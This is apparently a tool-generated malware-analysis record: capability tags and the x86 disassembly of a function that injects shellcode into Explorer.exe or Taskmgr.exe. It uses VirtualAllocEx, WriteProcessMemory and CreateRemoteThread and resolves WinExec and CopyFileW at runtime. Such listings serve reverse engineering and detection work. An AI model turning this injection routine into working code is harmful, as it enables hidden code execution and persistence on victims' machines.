Function at 0x402fb0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0x96c
lea eax, [esp]
push ebx
push ebp
push esi
push edi
push str.Explorer.exe
push eax
call fcn.0040a8ac
lea ecx, [esp + 0x36]
push str.Taskmgr.exe
push ecx
call fcn.0040a8ac
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
add esp, 0x10
mov esi, 1
inc esi
mov eax, esi
and eax, 0x80000001
jns 0x402ffb
dec eax
or eax, 0xfffffffe
inc eax
lea eax, [eax + eax*2]
lea edx, [eax + eax*4]
lea eax, [esp + edx*2 + 0x10]
push eax
call fcn.00402e90
add esp, 4
cmp eax, 0xffffffff
je 0x403213
test eax, eax
jne 0x403024
push 0x3e8
call ebp
jmp 0x402fec
push eax
push 0
push 0x2a
call edi
mov ebx, eax
test ebx, ebx
jne 0x40303a
push 0x3e8
call ebp
jmp 0x402fec
push 0x40
push 0x1000
push 0x2000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebp, eax
test ebp, ebp
je 0x40320c
push 0
push 0x2000
push 0x4033a0
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40320c
mov ecx, 0x24c
xor eax, eax
lea edi, [esp + 0x4c]
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea ecx, [esp + 0x904]
push str.i_am_in_remote_process_n
push ecx
mov dword [esp + 0x70], eax
call fcn.0040a8ac
lea edx, [esp + 0x858]
push str.CopyFile_Error_n
push edx
call fcn.0040a8ac
lea eax, [esp + 0x89c]
push str.FindClose_Error_n
push eax
call fcn.0040a8ac
lea ecx, [esp + 0x82c]
push str.FindFirstFile_Error_n
push ecx
call fcn.0040a8ac
lea edx, [esp + 0x7f8]
push str.OpenProcess_Error_n
push edx
call fcn.0040a8ac
lea eax, [esp + 0x8f0]
push str.WinExec_Error_n
push eax
call fcn.0040a8ac
lea ecx, [esp + 0x970]
push str.i_am_out_of_remote_process_n
push ecx
call fcn.0040a8ac
mov esi, dword [esp + 0x9b8]
lea edx, [esp + 0xac]
push esi
push edx
call fcn.0040a8ac
mov eax, dword [esp + 0x9c4]
add esp, 0x40
lea ecx, [esp + 0x27c]
push eax
push ecx
call fcn.0040a8ac
add esp, 8
push 0
push 0
push esi
call fcn.0040a951
add esp, 4
lea edx, [esp + 0x48c]
push eax
push edx
push 0xffffffffffffffff
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.OutputDebugStringW
push esi
call edi
push str.OpenProcess
push esi
mov dword [esp + 0x54], eax
call edi
push 0x421b40
push esi
mov dword [esp + 0x58], eax
call edi
push str.FindFirstFileW
push esi
mov dword [esp + 0x5c], eax
call edi
push str.CopyFileW
mov dword [esp + 0x5c], eax
push esi
call edi
push 0x421b18
push esi
mov dword [esp + 0x64], eax
call edi
push str.WinExec
push esi
mov dword [esp + 0x68], eax
call edi
push 4
push 0x1000
push 0x1260
push 0
push ebx
mov dword [esp + 0x78], eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x40320c
push 0
lea eax, [esp + 0x50]
push 0x1260
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40320c
push 0
push 0
push esi
push ebp
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
jne 0x403215
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x96c
ret